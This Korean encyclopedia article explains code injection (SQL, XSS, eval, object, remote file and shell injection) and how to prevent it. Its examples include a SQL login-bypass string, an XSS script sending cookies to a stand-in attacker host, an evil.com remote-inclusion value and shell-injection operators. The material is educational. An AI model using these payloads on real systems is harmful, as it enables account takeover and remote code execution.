{{위키데이터 속성 추적}}
'''코드 인젝션'''({{llang|en|Code injection}})은 유효하지 않은 데이터를 실행함으로써 야기되는 [[소프트웨어 버그]]의 부당한 사용이다. 삽입은 공격자에 의해서 취약한 컴퓨터 프로그램 코드를 삽입하고 실행을 변경하는 방식으로 이용된다. 성공적인 코드 인젝션은 이것을 이용한 [[웜]]의 전파 같이 종종 처참한 결과를 보여준다.

삽입 취약점은 애플리케이션이 인터프리터에 신뢰할 수 없는 데이터를 보낼 때 발생한다. 삽입 취약점은 매우 일반적이며 특히 낡은 코드에서 그렇다. 이것들은 주로 SQL, LDAP, Xpath, 또는 NoSQL 쿼리들(OS 명령어; XML 파서, SMTP 헤더, 인수 등)에서 발견된다. 삽입 취약점은 코드 검사 때에는 발견하기 쉽지만, 테스트 시에는 발견하기 어려운 경우가 많다. [[취약점 스캐너]]와 [[퍼저]]들은 공격자가 삽입 취약점을 찾는 것을 도와준다.<ref name="OWASP10_A1">{{웹 인용
 |title = OWASP Top 10 2013 A1: Injection Flaws
 |url = https://www.owasp.org/index.php/Top_10_2013-A1-Injection
 |publisher = OWASP
 |accessdate = 2016-02-11
 |보존url = https://web.archive.org/web/20160128030657/https://www.owasp.org/index.php/Top_10_2013-A1-Injection
 |보존날짜 = 2016-01-28
 |url-status = dead
 }}</ref>

삽입은 데이터 손실이나 오염, 책임의 부족 또는 DoS를 야기한다. 또한 가끔은 완전한 호스트 접수로 이어질 수 있다.

특정한 종류의 코드 인젝션은 단지 유저 입력에 특별한 의미를 주는, 해석에서의 오류이다. 몇몇 종류의 코드 인젝션에서는 사용자 입력과 시스템 명령의 구분에 대한 실패가 존재한다.

코드 인젝션은 해킹이나 크래킹에서 정보를 얻거나 [[권한 확대]] 또는 비인가 접근을 위한 인기있는 개념이다. 코드 인젝션은 아래와 같은 많은 악의적인 목적으로 사용될 수 있다.
* [[SQL 삽입]]은 데이터베이스에 독단적으로 수정된 값을 코드 인젝션하는 것이다. 이 결과는 [[홈페이지 변조]]부터 심각한 민감한 정보의 손상까지 다양하다.
* 서버에 서버 스크립트 코드(PHP나 ASP 같은)를 삽입하여 [[악성 소프트웨어]]를 설치하거나 악의적인 코드를 실행한다.
* 유닉스의 <nowiki>[[setuid]]</nowiki> root 바이너리의 셸 삽입 취약점을 이용하여 [[슈퍼 유저|root]] 권한을 얻거나, 윈도우에서 돌아가는 서비스의 취약점을 이용해 [[슈퍼 유저|Local System]]을 얻는 방식으로 [[권한 확대]]를 한다.
* HTML/Script 삽입을 통해 웹 사용자를 공격한다.([[사이트 간 스크립팅]](XSS)).

== 코드 인젝션의 양성적인, 의도되지 않은 사용 ==
몇몇 사람들은 코드 인젝션을 좋은 의도로 사용하기도 한다. 예를 들면, 프로그램의 동작을 변경해서 악의적인 목적 없이 장난을 칠 수 있다.

하지만 이 또한 법적으로 문제를 야기할 수 있으며, 의도치 않은 코드인젝션은 어떠한 경우에도 불법임을 인지해야 한다.

== 코드 인젝션 문제 예방 ==
코드 인젝션 문제를 예방하기 위하여, 아래와 같은 [[안전한 입출력 처리]]를 활용한다.
* 적절히 사용되는 API를 사용하는 것은 모든 문자 입력에 대한 안전한 방법이다. 파라미터화된 쿼리들은 문자열의 사용자 데이터를 감안하여 해석한다.
* 정적 [[자료형 체계]]를 통한 언어 분리 강화<ref name="types">http://blog.moertel.com/posts/2006-10-18-a-type-based-solution-to-the-strings-problem.html</ref>
* 알려진 좋은 값만 받는 [[화이트리스트]] 같은 입력 확인
* 위험한 문자들로부터 자유롭기 위한 입력 인코딩
* [[사이트 간 스크립팅|HTML 인젝션 (XSS)]] 공격을 예방하기 위한 출력 인코딩
* 커널에서의 모듈과 셸 분리
위에 목록화된 해결법들은 주로 웹 관련된 것들을 다룬다. 그러나 사용자 머신에의 사용자 코드 인젝션 같은 접근들도 생각해봐야 한다. 관리되거나 관리되고 있지 않은 코드 인젝션을 탐지하고 분리하는 접근으로는 아래와 같다.
* 런타임 이미지 해시 확인 - 메모리에 로드된 실행 이미지의 전체나 한 부분의 해시를 캡처해서 저장된 예상 해시값과 비교한다.
* [[NX 비트]] - 모든 유저 데이터는 실행 불가능한 특별한 섹션에 저장된다. 프로세서는 이 메모리에 코드가 없게 확인하고 실행이 불가능하도록 한다.

== 코드 인젝션의 예들 ==

=== SQL 인젝션 ===
SQL 인젝션은 SQL의 문법을 이용해 데이터베이스의 데이터를 읽거나 수정 또는 원래 쿼리의 의미를 손상시킬 수 있다.

예를 들어서 사용자에게 name과 password라는 두 필드를 입력하게 허용하는 웹 페이지가 있다. 실제 코드는 name과 password를 확인하기 위한 SQL 쿼리를 생성할 것이다.<syntaxhighlight lang="SQL">
SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password'
</syntaxhighlight>이 쿼리에 문제가 없다면 접근은 허용된다. 그러나 악의적인 사용자는 <code>"password' OR '1'='1"</code> 와 같은 유효한 코드를 추가해서 다음과 같이 보이게 한다.<syntaxhighlight lang="sql">
SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'password' OR '1'='1'
</syntaxhighlight>위의 예를 보면 "<code>'1'='1'</code>"는 항상 참이기 때문에 접근은 허용된다.

이 기법은 실행할 또는 외부 프로그램을 로드하고 실행할 수 있게 여러 선언들로 바꿀 수 있다.

=== HTML 스크립트 삽입 ===
웹 서버는 게스트북 스크립트를 가지는데, 이것은 아래와 같은 메시지를 받는다.
  <nowiki>Very nice site!</nowiki>
그러나 악의적인 사용자의 게스트북의 코드 인젝션 취약점을 알고 다음과 같은 메시지를 작성할 것이다.<syntaxhighlight lang="html4strict">Nice site,  I think I'll take it. <script>document.location="http://some_attacker/cookie.cgi?" + document.cookie</script></syntaxhighlight>만약 다른 사용자가 이 페이지를 보면 삽입된 코드가 실행될 것이다. 이 코드는 공격자가 다른 사용자인것처럼 가장할 수 있다. 그러나 같은 소프트웨어 버그가 우연히 발생할 수 있는데, 아래와 같은 안좋은 HTML 코드가 그것이다.
  <nowiki>That post was awesome, >:)</nowiki>
HTML/스크립트 삽입은 인기있는 분야이며 "Cross-Site Scripting", 또는 "XSS"로 불린다.

=== 동적 계산(evaluation) 취약점 ===
eval 삽입 취약점은 <code>[[eval]]()</code> 함수로 들어가는 문자열 입력을 공격자가 제어할 수 있을 때 발생한다.<ref>{{웹 인용
 |last = Christey
 |first = Steven M.
 |authorlink = Steven M. Christey
 |coauthors =
 |title = Dynamic Evaluation Vulnerabilities in PHP applications
 |work =
 |publisher = Insecure.org
 |date = 3 May 2006
 |url = http://seclists.org/lists/fulldisclosure/2006/May/0035.html
 |doi =
 |accessdate = 2016-02-11
}}</ref><syntaxhighlight lang="php">
$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');
</syntaxhighlight>"<code>eval</code>"의 인자는 PHP에서 실행되므로 추가적인 명령어가 첨부될 수 있다. 예를 들면 "arg"는  "<code>10; system('/bin/echo uh-oh')</code>"로 세팅될 수 있고, 이 경우 이 프로그램을 실행하는 서버는 "<code>/bin/echo</code>"를 실행하게 된다.

=== 객체 삽입 ===
[[PHP]]는 [[객체]]의 [[직렬화]]와 [[역직렬화]]를 허용한다. 만약 신뢰되지 않은 입력이 역질렬화 함수에 허용된다면, 악의적인 공격이 가능해진다.<ref>{{웹 인용
 |title = Unserialize function warnings
 |url = http://uk3.php.net/manual/en/function.unserialize.php#refsect1-function.unserialize-notes
 |publisher = PHP.net
}}</ref>

=== 원격 파일 삽입 ===
PHP 프로그램을 가정하자.<syntaxhighlight lang="php">
<?php
   $color = 'blue';
   if (isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   require( $color . '.php' );
?>
</syntaxhighlight>이 예시는 단지 blue.php나 red.php 같은 색상 파일들로 여겨지지만, 공격자가 <nowiki>COLOR=http://evil.com/exploit</nowiki>를 작성할 시에는 PHP가 외부 파일을 로드하게 된다.

=== 셸 삽입 ===
셸 삽입은 [[유닉스 셸]]의 이름을 땄지만 소프트웨어가 [[명령 줄 인터페이스]]를 실행하는 것을 허용한 대부분의 시스템에도 적용될 수 있다. 관련된 함수로는 [http://linux.die.net/man/3/system <code>system()</code>][http://linux.die.net/man/3/system], <code>StartProcess()</code>, 그리고 [http://msdn.microsoft.com/en-us/library/92699yzt.aspx <code>System.</code>][http://msdn.microsoft.com/en-us/library/92699yzt.aspx <code>Diagnostics.Process.</code>][http://msdn.microsoft.com/en-us/library/92699yzt.aspx <code>Start()</code>]가 있다.

아래의 짧은 PHP 프로그램을 보자. 이것은 <code>funnytext</code> 라는 외부 프로그램을 실행한다.<syntaxhighlight lang="php">
<?php
passthru("/bin/funnytext " . $_GET['USER_INPUT']);
?>
</syntaxhighlight>이 프로그램은 다양한 방식으로 삽입 취약점을 사용할 수 있다.
{| class="wikitable" style="margin-bottom: 10px;"

!셸 특징
! <code>USER_INPUT</code> 값
!셸 명령어의 결과
!예시
|-
| Sequential execution
| <code>; malicious_command</code>
| <code>/bin/funnytext ; malicious_command</code>
| Executes <code>funnytext</code>, then executes <code>malicious_command</code>.
|-
| [[파이프 (유닉스)|Pipelines]]
| <code>&#x7C; malicious_command</code>
| <code>/bin/funnytext &#x7C; malicious_command</code>
| Sends the output of <code>funnytext</code> as input to <code>malicious_command</code>.
|-
| Command substitution
| <code>`malicious_command`</code>
| <code>/bin/funnytext `malicious_command`</code>
| Sends the output of <code>malicious_command</code> as arguments to <code>funnytext</code>.
|-
| Command substitution
| <code>$(malicious_command)</code>
| <code>/bin/funnytext $(malicious_command)</code>
| Sends the output of <code>malicious_command</code> as arguments to <code>funnytext</code>.
|-
| AND list
| <code>&& malicious_command</code>
| <code>/bin/funnytext && malicious_command</code>
| Executes <code>malicious_command</code> iff <code>funnytext</code> returns an exit status of 0 (success).
|-
| OR list
| <code>&#x7C;&#x7C; malicious_command</code>
| <code>/bin/funnytext &#x7C;&#x7C; malicious_command</code>
| Executes <code>malicious_command</code> iff <code>funnytext</code> returns a nonzero exit status (error).
|-
| Output redirection
| <code>&#x3E; ~/.bashrc</code>
| <code>/bin/funnytext &#x3E; ~/.bashrc</code>
| Overwrites the contents the <code>.bashrc</code> file with the output of <code>funnytext</code>.
|-
| Input redirection
| <code>&#x3C; ~/.bashrc</code>
| <code>/bin/funnytext &#x3C; ~/.bashrc</code>
| Sends the contents of the <code>.bashrc</code> file as input to <code>funnytext</code>.
|}

== 같이 보기 ==
* [[버퍼 오버플로]]
* [[디버그]]
* [[SQL 삽입]]
* [[트로이 목마 (컴퓨팅)]]

== 각주 ==
{{각주}}

== 외부 링크 ==
* Article "[https://web.archive.org/web/20041010124514/http://www.codeproject.com/threads/winspy.asp Three Ways to Inject Your Code into Another Process]" by Robert Kuster
* Article "[https://web.archive.org/web/20060209035745/http://www.codeproject.com/system/inject2exe.asp Inject your code to a Portable Executable file]" by A. Danehkar
* Article "[https://web.archive.org/web/20070410133521/http://www.codeproject.com/system/inject2it.asp Injective Code inside Import Table]" by A. Danehkar
* Article "[https://web.archive.org/web/20060301133252/http://chris.vandenberghe.org/publications/csse_raid2005.pdf Defending against Injection Attacks through Context-Sensitive String Evaluation (CSSE)]" by Tadeusz Pietraszek and Chris Vanden Berghe
* News article "[https://web.archive.org/web/20050924080540/http://www.emsisoft.com/en/kb/articles/news041104/ Flux spreads wider]" - First [[트로이 목마 (컴퓨팅)|Trojan horse]] to make use of code injection to prevent detection from a [[방화벽 (네트워킹)|firewall]]
* [http://www.thedailywtf.com/ The Daily WTF] regularly reports real-world incidences of susceptibility to code injection in software.

[[분류:취약점 공격]]
[[분류:악성 소프트웨어]]